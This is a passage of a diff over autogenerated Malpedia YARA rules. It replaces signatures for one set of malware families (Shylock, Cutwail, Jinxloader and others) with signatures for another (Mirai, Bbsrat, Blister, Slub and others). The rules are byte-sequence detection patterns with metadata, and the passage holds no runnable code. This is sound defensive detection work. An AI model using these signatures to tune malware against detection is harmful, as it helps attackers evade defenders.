b801000080 51 6819000200 57 68???????? } + $sequence_4 = { ff7508 e8???????? 83c41c 84c0 0f84abfeffff 8d8550f7ffff } + $sequence_5 = { 0f8426010000 8d45d8 50 8d85acfeffff 50 ff15???????? 8d45e4 } + $sequence_6 = { 41 83f902 72e3 a3???????? eb10 c705????????01000000 891d???????? } + $sequence_7 = { ab ab 66ab aa 8d45f0 c745f050000000 50 } + $sequence_8 = { 7222 8d85a4f7ffff 6a04 50 8d450c 50 e8???????? } + $sequence_9 = { 0f84e3feffff 57 8d45f8 ff7518 ff7514 50 8d8558f7ffff } condition: - 7 of them and filesize < 245760 + 7 of them and filesize < 31137792 } -rule MALPEDIA_Win_Hunter_Auto : FILE +rule MALPEDIA_Win_Slub_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "114c619e-d3db-54d7-bef7-7645d901bc94" + id = "1c0a27b8-13ae-509d-aab0-4967f12001e1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hunter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hunter_auto.yar#L1-L90" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slub" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slub_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "776a5d8eb049aeb15b1138e40f903b0e7294cf0475240df008d707aa37c36610" + logic_hash = "264575ee79f35f47d39754d10976636a28b6cb6786a3fc3ffd41fec9d7f59aa5" score = 75 quality = 75 tags = "FILE" @@ -82172,30 +82073,110 @@ rule MALPEDIA_Win_Hunter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0000 9c 35a035a435 a835 } - $sequence_1 = { 0145f4 8d45b4 8b55f0 8b4de4 } - $sequence_2 = { 01442428 59 11742428 85db } - $sequence_3 = { 0145e8 8d838e000000 3bc2 8b45e8 } - $sequence_4 = { 01442444 53 11542444 51 } - $sequence_5 = { 0103 115304 e9???????? 8b4c241c } - $sequence_6 = { 014140 89413c 899604010000 e9???????? } - $sequence_7 = { 00443907 8a043a 88043b 8a443a01 } + $sequence_0 = { 8d8520fbffff 50 68???????? 8d8d08fbffff e8???????? 8bc8 e8???????? } + $sequence_1 = { 0f848d000000 833801 56 8b74240c 0f8581000000 80bf3803000000 53 } + $sequence_2 = { 55 33f6 c644242400 53 89742420 e8???????? } + $sequence_3 = { 837f2c00 8b6c2428 89473c 897740 7527 3b6b10 0f84d90f0000 } + $sequence_4 = { 85db 741a 33f6 85ed 7e14 56 } + $sequence_5 = { c645fc16 8d8d80fdffff 8b85d4fdffff 83c018 50 e8???????? c645fc17 } + $sequence_6 = { 0f842c060000 85c0 8b44241c 0f95c1 888815040000 8b4008 85c0 } + $sequence_7 = { 83c418 85ff 7425 57 e8???????? 50 57 } + $sequence_8 = { 8bf8 83c408 85ff 75cf 38442411 0f84700a0000 6a01 } + $sequence_9 = { 8d8358020000 50 8d8664040000 50 e8???????? 83c408 84c0 } condition: - 7 of them and filesize < 1056768 + 7 of them and filesize < 1785856 } -rule MALPEDIA_Win_Fct_Auto : FILE +rule MALPEDIA_Win_Moure_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d02b72bc-5bf1-5377-8d43-512cbfd79322" + id = "24a69d15-3d57-5717-b947-e4f8b8b4c7de" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moure" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moure_auto.yar#L1-L125" + license_url = "N/A" + logic_hash = "a44a23c1ab1d27db26aa7a8c25dca384907550ea332fbf4f4e348b0d15134c0b" + score = 75 + quality = 75 + tags = "FILE" + version = "1" + tool = "yara-signator v0.6.0" + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 3454 43 1558c950cb 0d487b0d4c 36a373801f1e } + $sequence_1 = { bf55602540 006b05 bc7d506700 0033 58 bf35b8bf55 58 } + $sequence_2 = { 8b35???????? 57 00d6 0075f0 894508 0075fc 00d6 } + $sequence_3 = { 51 51 8b0d???????? 56 33f6 85c9 7509 } + $sequence_4 = { 837dbc00 7436 0075bc 8d4ddc e8???????? a1???????? 3bc6 } + $sequence_5 = { 47 8705???????? 00bf35b8bf55 a4 254000c935 b8cdc58cbb } + $sequence_6 = { 3345fc 83c40c 23c7 3106 f70600000020 } + $sequence_7 = { 5e 53 43 c1c361 5b c9 51 } + $sequence_8 = { 668945e0 68a3714000 8bf0 85f6 7c2b 8b7d14 } + $sequence_9 = { be844e0001 56 6a1f 007014 } + + condition: + 7 of them and filesize < 188416 +} +rule MALPEDIA_Win_Datper_Auto : FILE +{ + meta: + description = "autogenerated rule brought to you by yara-signator" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "41e2fa7a-5eff-5187-bc28-c757ee1b0d1c" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.datper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.datper_auto.yar#L1-L120" + license_url = "N/A" + logic_hash = "d82b0dc20d83d1add855bab184abefd8ce45a5aa4fc977d43e37a534a15fd25f" + score = 75 + quality = 75 + tags = "FILE" + version = "1" + tool = "yara-signator v0.6.0" + signator_config = "callsandjumps;datarefs;binvalue" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { c64428ff21 45 4b 75ee 81c4a0000000 5d 5f } + $sequence_1 = { 8d8580feffff e8???????? c78588feffff04000000 33c0 } + $sequence_2 = { 41 46 4a 85d2 75e8 5f 5e } + $sequence_3 = { 8b03 e8???????? 8b95d8efffff b8???????? e8???????? } + $sequence_4 = { e8???????? 8d8500f0ffff 33c9 ba00100000 e8???????? } + $sequence_5 = { bf14000000 8d95c4d7ffff 8bcf a1???????? e8???????? } + $sequence_6 = { c78568d7ffff0c000000 33c0 89856cd7ffff c78570d7ffffffffffff 6a00 6a01 8d8568d7ffff } + $sequence_7 = { b805000000 e8???????? 83c003 8bd8 85db 7e29 b81a000000 } + $sequence_8 = { 8945f8 8d45fc ba00280000 e8???????? 8b4508 } + $sequence_9 = { 030424 13542404 83c408 0fb600 } + + condition: + 7 of them and filesize < 253952 +} +rule MALPEDIA_Win_Nosu_Auto : FILE +{ + meta: + description = "autogenerated rule brought to you by yara-signator" + author = "Felix Bilstein - yara-signator at cocacoding dot com" + id = "44d00c94-691a-5086-98b8-273bd29fa9af" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fct" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fct_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nosu_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "cc0dc64d7cd3b6633f3a5f0a0519f80550bbd17b8f06fffbd5263c4f40c48188" + logic_hash = "83643ba3003fff83421e0f7b019711e99b216991f08f5d871e4aa2d5ab6fc03f" score = 75 quality = 75 tags = "FILE" @@ -82209,32 +82190,32 @@ rule MALPEDIA_Win_Fct_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 803d????????00 753c c705????????60504100 c705????????88534100 c705????????80524100 e8???????? } - $sequence_1 = { 8365c000 c745c42b2e4000 a1???????? 8d4dc0 33c1 8945c8 8b4518 } - $sequence_2 = { ffb52cfdffff 6a01 e8???????? 8d8d80fdffff } - $sequence_3 = { 0f434dd8 3bc2 772c 8d3400 898544fdffff 83fa08 8dbd34fdffff } - $sequence_4 = { 83c8ff eb07 8b04f574204100 5f 5e 5b } - $sequence_5 = { 03348d50614100 837e18ff 740c 837e18fe 7406 } - $sequence_6 = { 83c102 6685c0 75f5 8b5dec } - $sequence_7 = { 8bc3 d1f9 2bc2 3bc8 772f 83fb08 } - $sequence_8 = { eb1e 6a02 68???????? c6854cfdffff00 8d4dbc } - $sequence_9 = { 33c0 6689047e eb21 6a04 } + $sequence_0 = { 0f8455010000 8d442438 50 8d442424 50 6a02 6a01 } + $sequence_1 = { 50 6a00 8d54246c e8???????? 83c40c 84c0 0f8477020000 } + $sequence_2 = { 33d2 8bcb ff742420 55 56 ff74242c 56 } + $sequence_3 = { 8844240a 84c0 7416 b201 8bce e8???????? 8b4514 } + $sequence_4 = { 399688010000 7432 3996d8050000 742a 8b8ef8070000 ff7514 } + $sequence_5 = { 8d86e0020000 85c0 740d 6a5c 59 } + $sequence_6 = { 89b658080000 50 56 b201 8bcf e8???????? 83c414 } + $sequence_7 = { 83c520 55 6a08 ff15???????? 50 ff15???????? } + $sequence_8 = { c9 c3 57 8bfa 3b4c2408 740d 8bd1 } + $sequence_9 = { 83c01e 03c7 0101 ff414c 8d4c2418 e8???????? 5f } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 513024 } -rule MALPEDIA_Win_Starsypound_Auto : FILE +rule MALPEDIA_Win_Bbsrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "70e37162-3a73-596a-8d7d-42b9d85b78f7" + id = "a602361e-80e2-5b74-861b-7270dd69ebb0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.starsypound_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bbsrat_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "abf4ae91c4287e1227ba24bd55f61dc3c1250c1b8b21f760166157e29806933f" + logic_hash = "9e349c993b7b920b82b539668c983c2083c9d2bb77a365140f827640d24e311d" score = 75 quality = 75 tags = "FILE" @@ -82248,32 +82229,32 @@ rule MALPEDIA_Win_Starsypound_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8dbc2458010000 83c9ff 33c0 } - $sequence_1 = { 68???????? 52 e8???????? 83c420 85c0 7444 8b5304 } - $sequence_2 = { 53 56 57 6a18 e8???????? 8bb42424040000 } - $sequence_3 = { 8d4c2428 68???????? 51 e8???????? 56 8d542434 } - $sequence_4 = { 8bfd 8d44240c f3a5 8b5500 8b3d???????? 6a00 } - $sequence_5 = { 885c3438 c744241804010000 ff15???????? 8dbc2458010000 83c9ff 33c0 } - $sequence_6 = { 50 8d4c2424 56 51 52 } - $sequence_7 = { f3a4 885c0444 bf???????? 83c9ff 33c0 33f6 } - $sequence_8 = { 83c40c 85c0 7e2b eb08 } - $sequence_9 = { e8???????? 68c0270900 ff15???????? e8???????? 5f } + $sequence_0 = { 3b0a 7411 837e3800 7d05 8d48fa 890b } + $sequence_1 = { 52 50 55 e8???????? 8d8c2418140000 51 68???????? } + $sequence_2 = { 3b7e28 7cf2 8b4b10 2b4b0c f7c1f0ffffff 0f84c1000000 8b5618 } + $sequence_3 = { 3488 34a8 34b0 34c4 34cc 34e0 34e8 } + $sequence_4 = { 33db f7442410fcffffff 0f86d5000000 6800060000 8d8c241c100000 56 } + $sequence_5 = { 8bd0 89442428 83fe04 722c 8bff 8b0a 8b542414 } + $sequence_6 = { 52 897b08 e8???????? f7d8 1bc0 } + $sequence_7 = { e8???????? 6a36 8d4c246c 51 8d5610 6a46 52 } + $sequence_8 = { e8???????? 85c0 752d 8b560c 895608 ff15???????? } + $sequence_9 = { 7536 80780300 7530 80780400 752a 80780500 7524 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 434176 } -rule MALPEDIA_Win_Upas_Auto : FILE +rule MALPEDIA_Elf_Mirai_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3b6d6c26-b6c3-53b0-89ad-1bd740f5c4d8" + id = "4a94410d-6aba-512a-9a6d-b6363b222e3b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upas" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.upas_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.mirai_auto.yar#L1-L109" license_url = "N/A" - logic_hash = "bdfeabc66ac57807ea759a27698eea464658dc61ceaff524f25f379f14603f19" + logic_hash = "95cccaf1db437d04c6a57d106a32e35fecc8afe8a0ffd0ae0c2e8cb3aa402bb4" score = 75 quality = 75 tags = "FILE" @@ -82287,34 +82268,34 @@ rule MALPEDIA_Win_Upas_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7816 8b45f8 8b08 57 ff7508 } - $sequence_1 = { 0bcf eb10 85f6 7507 83fa05 } - $sequence_2 = { c3 55 8bec 81ec8c0b0000 53 56 } - $sequence_3 = { ff35???????? ffd6 85c0 75e7 50 e8???????? 59 } - $sequence_4 = { ff15???????? 53 ff15???????? 6800400000 ff75f8 ff75f4 ff15???????? } - $sequence_5 = { 8d4438eb 8945dd 33c0 3945f8 7517 ff75f0 } - $sequence_6 = { 7410 49 740d 83e909 7410 83e919 } - $sequence_7 = { c9 c3 56 57 8d8550faffff 50 } - $sequence_8 = { 6a08 ff750c e8???????? 33c0 } - $sequence_9 = { 8dbd20ffffff f3a5 0fb74814 8d5c0118 } + $sequence_0 = { 66894104 7406 66c741064000 c6410911 } + $sequence_1 = { c1ea03 89d0 c1e005 01d0 89ca 29c2 } + $sequence_2 = { 66c1e808 d0e8 8d04c0 28c2 } + $sequence_3 = { e9???????? e8???????? 66894304 e9???????? } + $sequence_4 = { 6689432a e8???????? c7433400000000 894330 c6433801 c6433903 c6433a03 } + $sequence_5 = { 8b1408 895310 8b54080c 66895314 } + $sequence_6 = { 89d0 c1e005 01d0 89ca } + $sequence_7 = { 3c19 7705 8d42e0 8801 } + $sequence_8 = { c1e005 01d0 89ca 29c2 } + $sequence_9 = { e9???????? e8???????? 66894314 e9???????? } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 2228224 } -rule MALPEDIA_Win_Shylock_Auto : FILE +rule MALPEDIA_Win_Friedex_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "27b4846a-398c-5add-a760-ff7339bbdf8b" + id = "87cac36d-65df-59c3-8519-a2beb3554903" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shylock_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.friedex_auto.yar#L1-L178" license_url = "N/A" - logic_hash = "742cfb0b5b4c0d8c9d0f24db70f112e2bfd101bfeb4b4efca74ae8b027c1a20b" + logic_hash = "63043516012ac32e3e6d0450f407dc7719100d4d30f90ebfdb7b7cb46cef3e98" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -82326,32 +82307,38 @@ rule MALPEDIA_Win_Shylock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? eb75 8d75d0 e8???????? 8d75a4 e8???????? 8d75c4 } - $sequence_1 = { c20800 55 8bec 83ec1c 56 8d45ec 57 } - $sequence_2 = { ff75e0 e8???????? 83c410 33c0 eb0c b857000780 eb05 } - $sequence_3 = { ff75b8 53 e8???????? 83c420 85c0 7439 3975fc } - $sequence_4 = { e8???????? 59 85c0 751a e8???????? 3db7000000 740e } - $sequence_5 = { e8???????? 59 50 ff750c ff7508 e8???????? 8d751c } - $sequence_6 = { ff75f8 e8???????? 8d45f0 50 8bc6 8b7508 50 } - $sequence_7 = { 8d75fc e8???????? 6a00 68???????? 8d5d0c e8???????? 6a00 } - $sequence_8 = { eb06 8b4d20 8d3488 e8???????? 8b75f0 8d7ddc e8???????? } - $sequence_9 = { ff75f0 e8???????? 8b5d0c 8d45d0 50 e8???????? 8bd8 } + $sequence_0 = { e8???????? 85c0 7403 53 ffd0 6880000000 33db } + $sequence_1 = { 5f 5e 5d 5b 59 c20400 8b4c2404 } + $sequence_2 = { e8???????? 6a2f 8bc8 e8???????? 6a62 8bc8 e8???????? } + $sequence_3 = { 55 56 57 6a2a 5f 6a3f 5b } + $sequence_4 = { 7410 6a3f 5a 663bfa } + $sequence_5 = { 5e 5d c20c00 51 51 53 55 } + $sequence_6 = { ff760c ffd0 8b442408 5e c20400 } + $sequence_7 = { 897c2414 5d eb16 0fb730 } + $sequence_8 = { 83c414 5b 5d c3 8b45f0 8b0c850440a500 8b55f8 } + $sequence_9 = { c7424004000000 c7424458270000 c7424800100100 8b7de4 c787cc00000000000000 c787c800000000000000 8945dc } + $sequence_10 = { 8955dc e8???????? 8d0de830a500 890424 894c2404 e8???????? } + $sequence_11 = { 8d155e30a500 83ec04 891424 8945e8 } + $sequence_12 = { 55 89e5 8d055a23a500 5d c3 } + $sequence_13 = { 891424 894c2404 8945f8 e8???????? 8d0d4430a500 31d2 890c24 } + $sequence_14 = { 56 57 53 83ec54 8d055a23a500 } + $sequence_15 = { 890424 894c2404 e8???????? 8d0d4430a500 31d2 8b75f8 89462c } condition: - 7 of them and filesize < 630784 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Jinxloader_Auto : FILE +rule MALPEDIA_Win_Sadbridge_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bf4fed28-9df0-5c07-919b-e147a3bf2a61" + id = "d5c20ad4-43c0-50c3-9d4c-1a951b87b122" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jinxloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jinxloader_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sadbridge" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sadbridge_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "a80dddab53cddfaf6005da20443003f999792e56e65e502c4cb3050695796046" + logic_hash = "d280954e74300d3f9a45abc8f0031561691484da682361fb4efd2fdc22668bb8" score = 75 quality = 75 tags = "FILE" @@ -82365,32 +82352,32 @@ rule MALPEDIA_Win_Jinxloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 0f10442440 90 488b8c2488000000 0f1101 0f10442450 0f114110 } - $sequence_1 = { e8???????? 488b942498000000 498913 488910 48c7401802000000 4c8d0521e42000 4c894010 } - $sequence_2 = { e8???????? 488b9424c8020000 498913 488d5818 488bb080000000 49897308 488bb424c0020000 } - $sequence_3 = { eb21 488d7e58 90 eb1a 488d7e38 eb14 488d7e38 } - $sequence_4 = { c3 31c0 4889fb 4889f1 4881c408010000 5d c3 } - $sequence_5 = { b801000000 4881c430010000 5d c3 488b8424f0000000 4883c010 488b4c2450 } - $sequence_6 = { e8???????? 833d????????00 750a 488b8c2448170000 eb10 e8???????? 488b8c2448170000 } - $sequence_7 = { eb0d e8???????? 488b542440 498913 48895018 488d1d78464b00 4889c1 } - $sequence_8 = { f20f11442428 f20f104808 f20f114c2420 e8???????? 488b442458 488b5c2418 e8???????? } - $sequence_9 = { e8???????? 488d8424d0000000 488b9c2408020000 488b4c2458 488bbc2418020000 e8???????? 488d8424d0000000 } + $sequence_0 = { 48c7435800000000 4c89e1 48c7436000000000 48c7436800000000 48c7437000020000 66894378 } + $sequence_1 = { 31d2 83e001 05ffffff7f 8944245c 41f7f5 89442458 488d869c000000 } + $sequence_2 = { 0f8568fcffff 488b4570 448920 e9???????? 488b01 ff5048 83f8ff } + $sequence_3 = { 53 4883ec28 4889542478 4989cd 4c89842480000000 4839d1 0f843f010000 } + $sequence_4 = { 400f94c6 4885c0 0f94c2 4809c1 0f8489020000 8b842498000000 4531f6 } + $sequence_5 = { 31d0 29d0 83f864 0f9fc0 0fb6c0 4883c428 5b } + $sequence_6 = { 49c744240800000000 498d4c2438 49c744241000000000 488d7810 49893c24 49c744241800000000 49c744242000000000 } + $sequence_7 = { 41ba01000000 4885c9 741e 488b4110 483b4118 0f83ad020000 0fb700 } + $sequence_8 = { 488b4c2470 448b6c2478 4885c9 740a 4183fdff 0f84a7030000 4084ff } + $sequence_9 = { 745c 498b4c2410 4839cb 7732 4d85c0 7416 4a8d0c50 } condition: - 7 of them and filesize < 20364288 + 7 of them and filesize < 25882624 } -rule MALPEDIA_Win_Lunchmoney_Auto : FILE +rule MALPEDIA_Win_Felismus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ba6c488f-494f-59a0-832f-5ecc104022f8" + id = "705e1888-c3cf-5bf6-ba18-e8626acda3dd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lunchmoney" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lunchmoney_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.felismus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.felismus_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "6300f50e09ecd16cc8482866a3984ff2f46b18e4b4ec53df6a00261299e6917f" + logic_hash = "fddb824340564e372ed310ad021f3b3ac8af1c9316519efd06d812e4eb93bb2c" score = 75 quality = 75 tags = "FILE" @@ -82404,32 +82391,32 @@ rule MALPEDIA_Win_Lunchmoney_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8d4da8 e8???????? 89759c } - $sequence_1 = { 214610 c7461407000000 668906 68???????? c645fc0b e8???????? } - $sequence_2 = { c1e106 8b048550914200 88540804 8b0f } - $sequence_3 = { 3b4e04 7411 57 8bf8 } - $sequence_4 = { 8b9df0efffff 2b7008 037004 6a00 8b049d50914200 5b f644010480 } - $sequence_5 = { e9???????? 8365e500 8d45e4 6a0a 50 57 } - $sequence_6 = { 8b5584 0500040000 41 3bc2 76f6 8bf1 } - $sequence_7 = { 83c410 8b048550914200 3b740128 0f85b9010000 3b54012c 0f85af010000 } - $sequence_8 = { e8???????? 83c430 3c01 0f8584000000 83ec18 } - $sequence_9 = { 85c0 757c 837dec00 7476 8b55f4 8b049550914200 f644180448 } + $sequence_0 = { 8b4514 8b35???????? 50 ff15???????? e9???????? 6804010000 e8???????? } + $sequence_1 = { 03c3 5f 894d04 895508 89450c 5e 5d } + $sequence_2 = { 53 56 57 6804010000 e8???????? 8b7c241c 8bd8 } + $sequence_3 = { 83c640 83c740 3bf5 7ce6 8b4c2418 33c0 eb02 } + $sequence_4 = { 8d842430010000 50 33f6 ffd7 85c0 7e26 8a843430010000 } + $sequence_5 = { 8a46ff 83e03f 41 4f 8a907c520110 8851ff } + $sequence_6 = { 55 8b2d???????? 56 57 6804010000 ffd5 8bf0 } + $sequence_7 = { 56 ffd7 8d4c241c 6a00 51 6a02 } + $sequence_8 = { 740a 3818 7406 ff15???????? b8???????? c3 } + $sequence_9 = { 8bd8 b93f000000 33c0 8bfb f3ab 66ab 83c404 } condition: - 7 of them and filesize < 373760 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Cutwail_Auto : FILE +rule MALPEDIA_Win_Lcpdot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cbc2bf28-da14-5ea8-8af9-9a0a97c6e135" + id = "a81ecd6b-bd4a-5150-b889-dde71e2987e1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cutwail_auto.yar#L1-L159" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lcpdot_auto.yar#L1-L161" license_url = "N/A" - logic_hash = "9ba6db86559b6188867d3264363e179bc81f3f3f5481bc0c2638242b1cc71cd8" + logic_hash = "d5b8eea547f6e9190b9bc0d0e04ea03ad2b12f2bfb6cbcdecca904cccb5849ef" score = 75 quality = 75 tags = "FILE" @@ -82443,40 +82430,39 @@ rule MALPEDIA_Win_Cutwail_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f849d000000 ff7510 e8???????? 59 } - $sequence_1 = { eb14 8b55fc 0355f8 8955fc } - $sequence_2 = { 59 7506 891d???????? 53 57 } - $sequence_3 = { 833800 7511 837df800 7e0b } - $sequence_4 = { 6a66 8d8d90f1ffff e8???????? 03c3 } - $sequence_5 = { 57 ff755c 03c8 51 e8???????? } - $sequence_6 = { 895104 8b8550feffff c7400800c02004 6a00 6a00 } - $sequence_7 = { e8???????? 894604 8b4610 57 } - $sequence_8 = { 8bec 81ecc4010000 8d8570feffff 50 6802020000 e8???????? 85c0 } - $sequence_9 = { 51 e8???????? 83c410 8985ecfdffff } - $sequence_10 = { 1bc0 f7d0 234554 e9???????? } - $sequence_11 = { 6bc912 56 ff742428 8981feb71513 } - $sequence_12 = { 8b95e4fdffff 52 8d85f8fdffff 50 e8???????? 83c408 } - $sequence_13 = { 53 53 6a02 e8???????? 894558 } - $sequence_14 = { c7854cfeffff00000000 eb0f 8b954cfeffff 83c201 89954cfeffff 83bd4cfeffff03 0f8db5000000 } - $sequence_15 = { 0f8d23010000 6800020000 6a00 8d95f8fdffff 52 } + $sequence_0 = { e9???????? c705????????01000000 e8???????? 83f801 } + $sequence_1 = { 418bdc 4c89642438 4489642430 488d442430 } + $sequence_2 = { 8bf1 889d14fcffff e8???????? 8d4620 83c40c 8d5002 } + $sequence_3 = { c78560fbffff4b4c6763 c78564fbffff66975c5f c78568fbffff8d676a9b c7856cfbffff5254774f c78570fbffff51724647 c78574fbffff5d9293ab } + $sequence_4 = { 742b 488d153c300100 eb15 48ffc9 741d 448b4338 } + $sequence_5 = { 52 ff15???????? 8b85f0efffff 8b8de8efffff 8b5604 6a00 6a00 } + $sequence_6 = { e8???????? 85c0 745f 8b8db4fbffff 85c9 7e23 8b85b8fbffff } + $sequence_7 = { ff15???????? 85c0 7468 33d2 68fe010000 } + $sequence_8 = { 741e 448b4638 4585c0 7415 488d1537380100 488d8c2440020000 } + $sequence_9 = { 8b542460 41bb00020000 4c8d0dc990ffff 458a20 4584e4 } + $sequence_10 = { 8975c8 c745dc38634100 ff15???????? 6a00 56 } + $sequence_11 = { e9???????? 488bd3 b940000000 4889ac24a8080000 } + $sequence_12 = { c74594c17e92d8 c74598a0b6d79f c7459cb6e6b8cb c745a0e5b6cad0 c745a4d0def5f5 c745a8faf2f2f7 } + $sequence_13 = { 468d2cb500000000 41f7ed 448bda 41c1fb05 } + $sequence_14 = { 52 8d041f 50 e8???????? 8b861c080000 83c418 03c7 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 257024 } -rule MALPEDIA_Win_Greenshaitan_Auto : FILE +rule MALPEDIA_Win_Blister_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "14595aea-9f28-5e60-9b87-81d296b006da" + id = "fe50a609-9d69-50d8-9407-cc1bb662c99e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.greenshaitan_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blister_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "1f6063ccf28ef721dc1c6c4df5a5fddba54c56e2e1ec3d58cf26082647681dea" - score = 75 - quality = 75 + logic_hash = "bbff3501a1abd67d694ed63bda3afb810ae6150a68deb6d717b382978b46ad0d" + score = 60 + quality = 25 tags = "FILE" version = "1" tool = "yara-signator 